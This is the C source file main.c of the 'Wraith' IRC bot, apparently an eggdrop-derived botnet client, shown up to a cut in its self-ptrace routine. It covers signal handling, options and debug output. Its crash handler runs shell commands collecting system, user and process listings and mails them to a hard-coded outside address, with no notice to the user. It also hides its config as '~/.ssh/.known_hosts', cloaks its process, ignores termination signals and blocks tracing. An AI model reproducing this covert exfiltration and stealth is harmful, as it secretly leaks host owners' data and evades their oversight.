main.c 51 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include "build.h"
  11. #include <libgen.h>
  12. #include <fcntl.h>
  13. #include <time.h>
  14. #include <errno.h>
  15. #include <signal.h>
  16. #include <netdb.h>
  17. #include <setjmp.h>
  18. #include <unistd.h>
  19. #ifdef HAVE_UNAME
  20. #include <sys/utsname.h>
  21. #endif
  22. #ifdef STOP_UAC /* osf/1 complains a lot */
  23. #include <sys/sysinfo.h>
  24. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  25. #endif
  26. /* Some systems have a working sys/wait.h even though configure will
  27. * decide it's not bsd compatable. Oh well.
  28. */
  29. #include <sys/file.h>
  30. #include <sys/stat.h>
  31. #ifdef S_ANTITRACE
  32. #include <sys/ptrace.h>
  33. #include <sys/wait.h>
  34. #endif
  35. #include <sys/types.h>
  36. #include <pwd.h>
  37. #include "chan.h"
  38. #include "modules.h"
  39. #include "tandem.h"
  40. #include "bg.h"
  41. #ifdef CYGWIN_HACKS
  42. #include <windows.h>
  43. #endif
  44. #define ENCMOD "blowfish"
  45. #ifndef _POSIX_SOURCE
  46. /* Solaris needs this */
  47. #define _POSIX_SOURCE 1
  48. #endif
  49. #ifdef HUB
  50. int hub = 1;
  51. int leaf = 0;
  52. #else
  53. int hub = 0;
  54. int leaf = 1;
  55. #endif
  56. int localhub = 1; //we set this to 0 if we have -c, later.
  57. extern char origbotname[], userfile[], botnetnick[], packname[],
  58. *netpass, shellhash[], myip6[], myip[], hostname[],
  59. hostname6[], natip[];
  60. extern int dcc_total, conmask, cache_hit, cache_miss,
  61. fork_interval,
  62. local_fork_interval;
  63. extern struct dcc_t *dcc;
  64. extern struct userrec *userlist;
  65. extern struct chanset_t *chanset;
  66. extern Tcl_Interp *interp;
  67. extern tcl_timer_t *timer,
  68. *utimer;
  69. extern jmp_buf alarmret;
  70. int role;
  71. int loading = 0;
  72. const time_t buildts = CVSBUILD; /* build timestamp (UTC) */
  73. char egg_version[1024] = "1.0.11";
  74. int egg_numver = 1001100;
  75. time_t lastfork=0;
  76. #ifdef HUB
  77. int my_port;
  78. #endif
  79. char enetpass[16] = ""; /* cheap fucking hack */
  80. char notify_new[121] = ""; /* Person to send a note to for new users */
  81. int default_flags = 0; /* Default user flags and */
  82. int default_uflags = 0; /* Default userdefinied flags for people
  83. who say 'hello' or for .adduser */
  84. int backgrd = 1; /* Run in the background? */
  85. int con_chan = 0; /* Foreground: constantly display channel
  86. stats? */
  87. uid_t myuid;
  88. int term_z = 0; /* Foreground: use the terminal as a party
  89. line? */
  90. int checktrace = 1; /* Check for trace when starting up? */
  91. int pscloak = 1;
  92. int updating = 0; /* this is set when the binary is called from itself. */
  93. char tempdir[DIRMAX] = "";
  94. char lock_file[40] = "";
  95. char *binname;
  96. int sdebug = 0; /* enable debug output? */
  97. char textdir[121] = ""; /* Directory for text files that get dumped */
  98. time_t online_since; /* Unix-time that the bot loaded up */
  99. char owner[121] = ""; /* Permanent owner(s) of the bot */
  100. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  101. stored in */
  102. int save_users_at = 0; /* How many minutes past the hour to
  103. save the userfile? */
  104. int notify_users_at = 0; /* How many minutes past the hour to
  105. notify users of notes? */
  106. char version[81]; /* Version info (long form) */
  107. char ver[41]; /* Version info (short form) */
  108. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  109. int do_restart = 0; /* .restart has been called, restart asap */
  110. int resolve_timeout = 10; /* hostname/address lookup timeout */
  111. char quit_msg[1024]; /* quit message */
  112. time_t now; /* duh, now :) */
  113. #ifdef S_UTCTIME
  114. time_t now_tmp; /* used to convert to UTC */
  115. #endif /* S_UTCTIME */
  116. extern struct cfg_entry CFG_FORKINTERVAL;
  117. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  118. unsigned char md5out[33];
  119. char md5string[33];
  120. /* Traffic stats
  121. */
  122. unsigned long otraffic_irc = 0;
  123. unsigned long otraffic_irc_today = 0;
  124. unsigned long otraffic_bn = 0;
  125. unsigned long otraffic_bn_today = 0;
  126. unsigned long otraffic_dcc = 0;
  127. unsigned long otraffic_dcc_today = 0;
  128. unsigned long otraffic_filesys = 0;
  129. unsigned long otraffic_filesys_today = 0;
  130. unsigned long otraffic_trans = 0;
  131. unsigned long otraffic_trans_today = 0;
  132. unsigned long otraffic_unknown = 0;
  133. unsigned long otraffic_unknown_today = 0;
  134. unsigned long itraffic_irc = 0;
  135. unsigned long itraffic_irc_today = 0;
  136. unsigned long itraffic_bn = 0;
  137. unsigned long itraffic_bn_today = 0;
  138. unsigned long itraffic_dcc = 0;
  139. unsigned long itraffic_dcc_today = 0;
  140. unsigned long itraffic_trans = 0;
  141. unsigned long itraffic_trans_today = 0;
  142. unsigned long itraffic_unknown = 0;
  143. unsigned long itraffic_unknown_today = 0;
  144. #ifdef DEBUG_CONTEXT
  145. /* Context storage for fatal crashes */
  146. char cx_file[16][30];
  147. char cx_note[16][256];
  148. int cx_line[16];
  149. int cx_ptr = 0;
  150. #endif
  151. void fatal(const char *s, int recoverable)
  152. {
  153. int i;
  154. #ifdef LEAF
  155. module_entry *me;
  156. if ((me = module_find("server", 0, 0))) {
  157. Function *func = me->funcs;
  158. (func[SERVER_NUKESERVER]) (s);
  159. }
  160. #endif /* LEAF */
  161. if (s[0])
  162. putlog(LOG_MISC, "*", "* %s", s);
  163. /* flushlogs(); */
  164. for (i = 0; i < dcc_total; i++) {
  165. if (dcc[i].sock >= 0)
  166. killsock(dcc[i].sock);
  167. #ifdef HAVE_SSL
  168. ssl_cleanup();
  169. #endif /* HAVE_SSL */
  170. }
  171. if (!recoverable) {
  172. unlink(pid_file);
  173. bg_send_quit(BG_ABORT);
  174. exit(1);
  175. }
  176. }
  177. int expmem_chanprog(), expmem_users(), expmem_config(), expmem_misc(), expmem_dccutil(),
  178. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(), expmem_auth(),
  179. expmem_modules(int), expmem_tcldcc(),
  180. expmem_tclmisc();
  181. /* For mem.c : calculate memory we SHOULD be using
  182. */
  183. int expected_memory(void)
  184. {
  185. int tot;
  186. tot = expmem_chanprog() + expmem_users() + expmem_config() + expmem_misc() +
  187. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  188. expmem_net() + expmem_modules(0) + expmem_tcldcc() + expmem_auth() +
  189. expmem_tclmisc();
  190. return tot;
  191. }
  192. static void check_expired_dcc()
  193. {
  194. int i;
  195. for (i = 0; i < dcc_total; i++)
  196. if (dcc[i].type && dcc[i].type->timeout_val &&
  197. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  198. if (dcc[i].type->timeout)
  199. dcc[i].type->timeout(i);
  200. else if (dcc[i].type->eof)
  201. dcc[i].type->eof(i);
  202. else
  203. continue;
  204. /* Only timeout 1 socket per cycle, too risky for more */
  205. return;
  206. }
  207. }
  208. #ifdef DEBUG_CONTEXT
  209. static int nested_debug = 0;
  210. void write_debug()
  211. {
  212. int x;
  213. char s[25], tmpout[150];
  214. int y;
  215. if (nested_debug) {
  216. /* Yoicks, if we have this there's serious trouble!
  217. * All of these are pretty reliable, so we'll try these.
  218. *
  219. * NOTE: dont try and display context-notes in here, it's
  220. * _not_ safe <cybah>
  221. */
  222. x = creat("DEBUG.DEBUG", 0600);
  223. setsock(x, SOCK_NONSOCK);
  224. if (x >= 0) {
  225. strncpyz(s, ctime(&now), sizeof s);
  226. dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
  227. dprintf(-x, STR("Context: "));
  228. cx_ptr = cx_ptr & 15;
  229. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  230. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  231. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  232. killsock(x);
  233. close(x);
  234. }
  235. bg_send_quit(BG_ABORT);
  236. exit(1); /* Dont even try & tell people about, that may
  237. have caused the fault last time. */
  238. } else
  239. nested_debug = 1;
  240. snprintf(tmpout, sizeof tmpout, STR("* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]"),
  241. cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
  242. cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
  243. cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  244. putlog(LOG_MISC, "*", "%s", tmpout);
  245. printf("%s\n", tmpout);
  246. x = creat("DEBUG", 0600);
  247. setsock(x, SOCK_NONSOCK);
  248. if (x < 0) {
  249. putlog(LOG_MISC, "*", STR("* Failed to write DEBUG"));
  250. } else {
  251. strncpyz(s, ctime(&now), sizeof s);
  252. dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
  253. dprintf(-x, STR("STATICALLY LINKED\n"));
  254. /* info library */
  255. dprintf(-x, "Tcl library: %s\n",
  256. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  257. interp->result : "*unknown*");
  258. /* info tclversion/patchlevel */
  259. dprintf(-x, "Tcl version: %s (header version %s)\n",
  260. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  261. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  262. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  263. "*unknown*");
  264. #if HAVE_TCL_THREADS
  265. dprintf(-x, STR("Tcl is threaded\n"));
  266. #endif
  267. #ifdef CCFLAGS
  268. dprintf(-x, STR("Compile flags: %s\n"), CCFLAGS);
  269. #endif
  270. #ifdef LDFLAGS
  271. dprintf(-x, STR("Link flags: %s\n"), LDFLAGS);
  272. #endif
  273. #ifdef STRIPFLAGS
  274. dprintf(-x, STR("Strip flags: %s\n"), STRIPFLAGS);
  275. #endif
  276. dprintf(-x, STR("Context: "));
  277. cx_ptr = cx_ptr & 15;
  278. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  279. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  280. (cx_note[y][0]) ? cx_note[y] : "");
  281. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  282. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  283. tell_dcc(-x);
  284. dprintf(-x, "\n");
  285. debug_mem_to_dcc(-x);
  286. killsock(x);
  287. close(x);
  288. putlog(LOG_MISC, "*", STR("* Emailed DEBUG to bryan."));
  289. if (1) {
  290. /* FIXME: make into temp file.. */
  291. char buff[255];
  292. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  293. system(buff);
  294. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  295. system(buff);
  296. unlink("bleh");
  297. }
  298. unlink("DEBUG");
  299. }
  300. }
  301. #endif
  302. static void got_bus(int z)
  303. {
  304. #ifdef DEBUG_CONTEXT
  305. write_debug();
  306. #endif
  307. fatal(STR("BUS ERROR -- CRASHING!"), 1);
  308. #ifdef SA_RESETHAND
  309. kill(getpid(), SIGBUS);
  310. #else
  311. bg_send_quit(BG_ABORT);
  312. exit(1);
  313. #endif
  314. }
  315. static void got_segv(int z)
  316. {
  317. #ifdef DEBUG_CONTEXT
  318. write_debug();
  319. #endif
  320. fatal(STR("SEGMENT VIOLATION -- CRASHING!"), 1);
  321. #ifdef SA_RESETHAND
  322. kill(getpid(), SIGSEGV);
  323. #else
  324. bg_send_quit(BG_ABORT);
  325. exit(1);
  326. #endif
  327. }
  328. static void got_fpe(int z)
  329. {
  330. #ifdef DEBUG_CONTEXT
  331. write_debug();
  332. #endif
  333. fatal(STR("FLOATING POINT ERROR -- CRASHING!"), 0);
  334. }
  335. static void got_term(int z)
  336. {
  337. #ifdef HUB
  338. write_userfile(-1);
  339. #endif
  340. putlog(LOG_MISC, "*", STR("RECEIVED TERMINATE SIGNAL (IGNORING)"));
  341. }
  342. static void got_stop(int z)
  343. {
  344. putlog(LOG_MISC, "*", STR("GOT SIGSTOP POSSIBLE HIJACK."));
  345. exit(1);
  346. }
  347. static void got_abort(int z)
  348. {
  349. #ifdef DEBUG_CONTEXT
  350. write_debug();
  351. #endif
  352. fatal(STR("GOT SIGABRT -- CRASHING!"), 1);
  353. #ifdef SA_RESETHAND
  354. kill(getpid(), SIGABRT);
  355. #else
  356. bg_send_quit(BG_ABORT);
  357. exit(1);
  358. #endif
  359. }
  360. #ifdef S_HIJACKCHECK
  361. static void got_cont(int z)
  362. {
  363. detected(DETECT_SIGCONT, STR("POSSIBLE HIJACK DETECTED"));
  364. }
  365. #endif
  366. static void got_quit(int z)
  367. {
  368. putlog(LOG_MISC, "*", STR("RECEIVED QUIT SIGNAL (IGNORING)"));
  369. return;
  370. }
  371. static void got_hup(int z)
  372. {
  373. #ifdef HUB
  374. write_userfile(-1);
  375. #endif
  376. putlog(LOG_MISC, "*", STR("Received HUP signal: rehashing..."));
  377. do_restart = -2;
  378. return;
  379. }
  380. /* A call to resolver (gethostbyname, etc) timed out
  381. */
  382. static void got_alarm(int z)
  383. {
  384. longjmp(alarmret, 1);
  385. /* -Never reached- */
  386. }
  387. /* Got ILL signal -- log context and continue
  388. */
  389. static void got_ill(int z)
  390. {
  391. #ifdef DEBUG_CONTEXT
  392. putlog(LOG_MISC, "*", STR("* Context: %s/%d [%s]"), cx_file[cx_ptr], cx_line[cx_ptr],
  393. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  394. #endif
  395. }
  396. #ifdef DEBUG_CONTEXT
  397. /* Context */
  398. void eggContext(const char *file, int line, const char *module)
  399. {
  400. char x[31], *p;
  401. p = strrchr(file, '/');
  402. if (!module) {
  403. strncpyz(x, p ? p + 1 : file, sizeof x);
  404. } else
  405. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  406. cx_ptr = ((cx_ptr + 1) & 15);
  407. strcpy(cx_file[cx_ptr], x);
  408. cx_line[cx_ptr] = line;
  409. cx_note[cx_ptr][0] = 0;
  410. }
  411. /* Called from the ContextNote macro.
  412. */
  413. void eggContextNote(const char *file, int line, const char *module,
  414. const char *note)
  415. {
  416. char x[31], *p;
  417. p = strrchr(file, '/');
  418. if (!module) {
  419. strncpyz(x, p ? p + 1 : file, sizeof x);
  420. } else
  421. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  422. cx_ptr = ((cx_ptr + 1) & 15);
  423. strcpy(cx_file[cx_ptr], x);
  424. cx_line[cx_ptr] = line;
  425. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  426. }
  427. #endif
  428. #ifdef DEBUG_ASSERT
  429. /* Called from the Assert macro.
  430. */
  431. void eggAssert(const char *file, int line, const char *module)
  432. {
  433. if (!module)
  434. putlog(LOG_MISC, "*", STR("* In file %s, line %u"), file, line);
  435. else
  436. putlog(LOG_MISC, "*", STR("* In file %s:%s, line %u"), module, file, line);
  437. #ifdef DEBUG_CONTEXT
  438. write_debug();
  439. #endif /* DEBUG_CONTEXT */
  440. fatal(STR("ASSERT FAILED -- CRASHING!"), 1);
  441. }
  442. #endif /* DEBUG_ASSERT */
  443. #ifdef LEAF
  444. static void gotspawn(char *);
  445. #endif /* LEAF */
  446. void checkpass()
  447. {
  448. static int checkedpass = 0;
  449. if (!checkedpass) {
  450. char *gpasswd;
  451. MD5_CTX ctx;
  452. int i = 0;
  453. gpasswd = (char *) getpass("");
  454. MD5_Init(&ctx);
  455. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  456. MD5_Final(md5out, &ctx);
  457. for(i=0; i<16; i++)
  458. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  459. if (strcmp(shellhash, md5string)) {
  460. fatal(STR("incorrect password."), 0);
  461. }
  462. gpasswd = 0;
  463. checkedpass = 1;
  464. }
  465. }
  466. void got_ed(char *, char *, char *);
  467. extern int optind;
  468. void gen_conf(char *filename)
  469. {
  470. FILE *fp;
  471. if (is_file(filename) || is_dir(filename))
  472. fatal(STR("File already exists.."), 0);
  473. fp = fopen(filename, "w+");
  474. fprintf(fp, STR("#All lines beginning with '#' will be ignored during the bot startup. They are comments only.\n"));
  475. fprintf(fp, STR("#These lines MUST be correctly syntaxed or the bot will not work properly.\n"));
  476. fprintf(fp, STR("#A hub conf is located in the same dir as the hub binary, as 'conf' (encrypted)\n"));
  477. fprintf(fp, STR("#A leaf conf is located at '~/.ssh/.known_hosts' (encrypted)\n"));
  478. fprintf(fp, STR("#\n"));
  479. fprintf(fp, STR("#Note the \"- \" and \"+ \" for the following items, the space is REQUIRED.\n"));
  480. fprintf(fp, STR("#The first line must be the UID of the shell the bot is to be run on. (use \"id\" in shell to get uid)\n"));
  481. fprintf(fp, STR("#- 1113\n"));
  482. fprintf(fp, STR("#The second must be the output from uname -nv (-nr on FBSD)\n"));
  483. fprintf(fp, STR("#+ somebox #1 SMP Thu May 29 06:55:05 EDT 2003\n"));
  484. fprintf(fp, STR("#\n"));
  485. fprintf(fp, STR("#The following line will disable ps cloaking on the shell if you compiled with S_PSCLOAK\n"));
  486. fprintf(fp, STR("#!-\n"));
  487. fprintf(fp, STR("#The rest of the conf is for bots and is in the following syntax:\n"));
  488. fprintf(fp, STR("#botnick [!]ip4 [+]hostname IPv6-ip\n"));
  489. fprintf(fp, STR("#A . (period) can be used in place of ip4 and/or hostname if the field is not needed. (ie, for using only an ipv6 ip)\n"));
  490. fprintf(fp, STR("#(the ! means internal NAT ip address, IE: 10.10.0.3, Hostname REQUIRED)\n"));
  491. fprintf(fp, STR("#Full example:\n"));
  492. fprintf(fp, STR("#- 101\n"));
  493. fprintf(fp, STR("#+ somebox 5.1-RELEASE\n"));
  494. fprintf(fp, STR("#bot1 1.2.3.4 some.vhost.com\n"));
  495. fprintf(fp, STR("#bot2 . +ipv6.uber.leet.la\n"));
  496. fprintf(fp, STR("#bot3 . +another.ipv6.host.com 2001:66:669:3a4::1\n"));
  497. fprintf(fp, STR("#bot4 1.2.3.4 +someipv6.host.com\n"));
  498. fprintf(fp, STR("\n\n\n\n#if there are any trailing newlines at the end, remove them up to the last bot.\n"));
  499. fflush(fp);
  500. fclose(fp);
  501. printf(STR("Template config created as '%s'\n"), filename);
  502. exit(0);
  503. }
  504. void show_help()
  505. {
  506. char format[81];
  507. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  508. printf(STR("Wraith %s\n\n"), egg_version);
  509. printf(format, STR("Option"), STR("Description"));
  510. printf(format, STR("------"), STR("-----------"));
  511. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  512. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  513. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  514. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  515. printf(format, STR("-g <file>"), STR("Generates a template config file"));
  516. printf(format, STR("-h"), STR("Display this help listing"));
  517. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  518. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  519. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  520. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  521. printf(format, STR("-v"), STR("Displays bot version"));
  522. exit(0);
  523. }
  524. #ifdef LEAF
  525. #define PARSE_FLAGS "cedghnstvPDE"
  526. #endif /* LEAF */
  527. #ifdef HUB
  528. #define PARSE_FLAGS "edghnstvDE"
  529. #endif /* HUB */
  530. #define FLAGS_CHECKPASS "edhgntDEv"
  531. static void dtx_arg(int argc, char *argv[])
  532. {
  533. int i;
  534. char *p = NULL, *p2 = NULL;
  535. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  536. if (strchr(FLAGS_CHECKPASS, i))
  537. checkpass();
  538. switch (i) {
  539. #ifdef LEAF
  540. case 'c':
  541. localhub = 0;
  542. p = argv[optind];
  543. if (!localhub)
  544. gotspawn(p);
  545. break;
  546. #endif /* LEAF */
  547. case 'h':
  548. show_help();
  549. break; /* never reached */
  550. case 'g':
  551. p = argv[optind];
  552. if (p)
  553. gen_conf(p);
  554. else
  555. fatal(STR("You must specify a filename after -g"), 0);
  556. break; /* never reached */
  557. case 'k':
  558. p = argv[optind];
  559. /* kill_bot(p); */
  560. exit(0);
  561. break; /* never reached */
  562. case 'n':
  563. backgrd = 0;
  564. break;
  565. case 's':
  566. checktrace = 0;
  567. break;
  568. case 't':
  569. term_z = 1;
  570. break;
  571. case 'D':
  572. sdebug = 1;
  573. sdprintf(STR("debug enabled"));
  574. break;
  575. case 'E':
  576. p = argv[optind];
  577. if (p) {
  578. if (!strcmp(p, "all")) {
  579. int n;
  580. putlog(LOG_MISC, "*", STR("Listing all errors"));
  581. for (n = 1; n < ERR_MAX; n++)
  582. putlog(LOG_MISC, "*", STR("Error #%d: %s"), n, werr_tostr(n));
  583. } else {
  584. putlog(LOG_MISC, "*", STR("Error #%d: %s"), atoi(p), werr_tostr(atoi(p)));
  585. }
  586. exit(0);
  587. } else {
  588. fatal(STR("You must specify error number after -E (or 'all')"), 0);
  589. }
  590. break;
  591. case 'e':
  592. if (argv[optind])
  593. p = argv[optind];
  594. if (argv[optind+1])
  595. p2 = argv[optind+1];
  596. got_ed("e", p, p2);
  597. break; /* this should never be reached */
  598. case 'd':
  599. if (argv[optind])
  600. p = argv[optind];
  601. if (argv[optind+1])
  602. p2 = argv[optind+1];
  603. got_ed("d", p, p2);
  604. break; /* this should never be reached */
  605. case 'v':
  606. printf("Wraith %s\nBuild Date: %s UTC\n", egg_version, ctime(&buildts));
  607. bg_send_quit(BG_ABORT);
  608. exit(0);
  609. break; /* this should never be reached */
  610. #ifdef LEAF
  611. case 'P':
  612. if (getppid() != atoi(argv[optind]))
  613. exit(0);
  614. else {
  615. sdprintf(STR("Updating..."));
  616. }
  617. localhub = 1;
  618. updating = 1;
  619. break;
  620. #endif
  621. default:
  622. // exit(1);
  623. break;
  624. }
  625. }
  626. }
  627. #ifdef HUB
  628. void backup_userfile()
  629. {
  630. char s[DIRMAX], s2[DIRMAX];
  631. putlog(LOG_MISC, "*", USERF_BACKUP);
  632. egg_snprintf(s, sizeof s, "%s/%s.0", tempdir, userfile);
  633. egg_snprintf(s2, sizeof s2, "%s/%s.1", tempdir, userfile);
  634. copyfile(s, s2);
  635. copyfile(userfile, s);
  636. }
  637. #endif
  638. /* Timer info */
  639. static int lastmin = 99;
  640. static time_t then;
  641. static struct tm nowtm;
  642. /* Called once a second.
  643. *
  644. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  645. */
  646. int curcheck = 0;
  647. void core_10secondly()
  648. {
  649. curcheck++;
  650. #ifdef LEAF
  651. if (localhub)
  652. #endif /* LEAF */
  653. check_promisc();
  654. if (curcheck==1)
  655. check_trace(0);
  656. #ifdef LEAF
  657. if (localhub) {
  658. #endif /* LEAF */
  659. if (curcheck==2)
  660. check_last();
  661. if (curcheck==3) {
  662. check_processes();
  663. curcheck=0;
  664. }
  665. #ifdef LEAF
  666. }
  667. #endif /* LEAF */
  668. }
  669. void do_fork() {
  670. int xx;
  671. Context;
  672. xx = fork();
  673. if (xx == -1)
  674. return;
  675. if (xx != 0) {
  676. FILE *fp;
  677. unlink(pid_file);
  678. fp = fopen(pid_file, "w");
  679. if (fp != NULL) {
  680. fprintf(fp, "%u\n", xx);
  681. fclose(fp);
  682. }
  683. }
  684. if (xx) {
  685. #if HAVE_SETPGID
  686. setpgid(xx, xx);
  687. #endif
  688. exit(0);
  689. }
  690. lastfork = now;
  691. }
  692. #ifdef CRAZY_TRACE
  693. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  694. * only problem.. it just creates a new pid to be traced/hijacked :\
  695. */
  696. int attached = 0;
  697. void crazy_trace()
  698. {
  699. int parent = getpid();
  700. int x = fork();
  701. if (x == -1) {
  702. printf("Can't fork(): %s\n", strerror(errno));
  703. } else if (x == 0) {
  704. int i;
  705. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  706. if (i == (-1) && errno == EPERM) {
  707. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  708. waitpid(parent, &i, 0);
  709. kill(parent, SIGCHLD);
  710. ptrace(PTRACE_DETACH, parent, 0, 0);
  711. kill(parent, SIGCHLD);
  712. exit(0);
  713. } else {
  714. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  715. attached++;
  716. }
  717. } else {
  718. printf("wait()\n");
  719. wait(&x);
